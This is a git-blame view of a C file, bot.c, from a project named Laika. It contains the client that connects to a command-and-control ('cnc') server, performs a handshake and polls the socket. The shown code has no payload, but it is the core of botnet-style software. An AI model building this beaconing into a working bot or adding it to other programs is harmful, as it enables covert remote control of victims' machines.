2022-01-25 03:46:29 +00:00
|
|
|
#include "lmem.h"
|
|
|
|
#include "lerror.h"
|
|
|
|
#include "bot.h"
|
|
|
|
|
2022-01-25 19:53:17 +00:00
|
|
|
LAIKAPKT_SIZE laikaB_pktSizeTbl[LAIKAPKT_MAXNONE] = {
|
2022-01-25 03:46:29 +00:00
|
|
|
[LAIKAPKT_HANDSHAKE_RES] = sizeof(uint8_t)
|
|
|
|
};
|
|
|
|
|
2022-01-25 19:53:17 +00:00
|
|
|
void laikaB_pktHandler(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData) {
|
2022-01-25 17:58:36 +00:00
|
|
|
switch (id) {
|
|
|
|
case LAIKAPKT_HANDSHAKE_RES: {
|
|
|
|
uint8_t endianness = laikaS_readByte(&peer->sock);
|
|
|
|
peer->sock.flipEndian = endianness != laikaS_isBigEndian();
|
2022-01-25 18:13:04 +00:00
|
|
|
|
|
|
|
LAIKA_DEBUG("handshake accepted by cnc!\n")
|
2022-01-25 17:58:36 +00:00
|
|
|
break;
|
|
|
|
}
|
|
|
|
default:
|
|
|
|
LAIKA_ERROR("unknown packet id [%d]\n", id);
|
|
|
|
}
|
2022-01-25 03:46:29 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
struct sLaika_bot *laikaB_newBot(void) {
|
|
|
|
struct sLaika_bot *bot = laikaM_malloc(sizeof(struct sLaika_bot));
|
|
|
|
|
|
|
|
laikaP_initPList(&bot->pList);
|
|
|
|
bot->peer = laikaS_newPeer(
|
|
|
|
laikaB_pktHandler,
|
|
|
|
laikaB_pktSizeTbl,
|
|
|
|
&bot->pList,
|
|
|
|
(void*)bot
|
|
|
|
);
|
|
|
|
|
|
|
|
return bot;
|
|
|
|
}
|
|
|
|
|
|
|
|
void laikaB_freeBot(struct sLaika_bot *bot) {
|
|
|
|
laikaP_cleanPList(&bot->pList);
|
|
|
|
laikaS_freePeer(bot->peer);
|
|
|
|
laikaM_free(bot);
|
|
|
|
}
|
|
|
|
|
|
|
|
void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) {
|
|
|
|
struct sLaika_socket *sock = &bot->peer->sock;
|
|
|
|
|
|
|
|
/* setup socket */
|
|
|
|
laikaS_connect(sock, ip, port);
|
|
|
|
laikaS_setNonBlock(sock);
|
|
|
|
|
|
|
|
laikaP_addSock(&bot->pList, sock);
|
|
|
|
|
|
|
|
/* queue handshake request */
|
|
|
|
laikaS_writeByte(sock, LAIKAPKT_HANDSHAKE_REQ);
|
|
|
|
laikaS_write(sock, LAIKA_MAGIC, LAIKA_MAGICLEN);
|
2022-01-25 17:58:36 +00:00
|
|
|
laikaS_writeByte(sock, LAIKA_VERSION_MAJOR);
|
|
|
|
laikaS_writeByte(sock, LAIKA_VERSION_MINOR);
|
2022-01-25 03:46:29 +00:00
|
|
|
|
|
|
|
if (!laikaS_handlePeerOut(bot->peer))
|
|
|
|
LAIKA_ERROR("failed to send handshake request!\n")
|
|
|
|
}
|
|
|
|
|
|
|
|
bool laikaB_poll(struct sLaika_bot *bot, int timeout) {
|
|
|
|
struct sLaika_pollEvent *evnt;
|
|
|
|
int numEvents;
|
|
|
|
|
|
|
|
evnt = laikaP_poll(&bot->pList, timeout, &numEvents);
|
|
|
|
|
|
|
|
if (numEvents == 0) /* no events? timeout was reached */
|
|
|
|
return false;
|
|
|
|
|
2022-01-25 17:58:36 +00:00
|
|
|
LAIKA_TRY
|
2022-01-25 03:46:29 +00:00
|
|
|
if (evnt->pollIn && !laikaS_handlePeerIn(bot->peer))
|
2022-01-25 18:13:04 +00:00
|
|
|
goto _BOTKILL;
|
2022-01-25 03:46:29 +00:00
|
|
|
|
|
|
|
if (evnt->pollOut && !laikaS_handlePeerOut(bot->peer))
|
2022-01-25 18:13:04 +00:00
|
|
|
goto _BOTKILL;
|
2022-01-25 03:46:29 +00:00
|
|
|
|
2022-01-25 17:58:36 +00:00
|
|
|
if (!evnt->pollIn && !evnt->pollOut)
|
2022-01-25 18:13:04 +00:00
|
|
|
goto _BOTKILL;
|
2022-01-25 17:58:36 +00:00
|
|
|
LAIKA_CATCH
|
2022-01-25 18:13:04 +00:00
|
|
|
_BOTKILL:
|
2022-01-25 17:58:36 +00:00
|
|
|
laikaS_kill(&bot->peer->sock);
|
|
|
|
LAIKA_TRYEND
|
2022-01-25 03:46:29 +00:00
|
|
|
|
|
|
|
return true;
|
|
|
|
}
|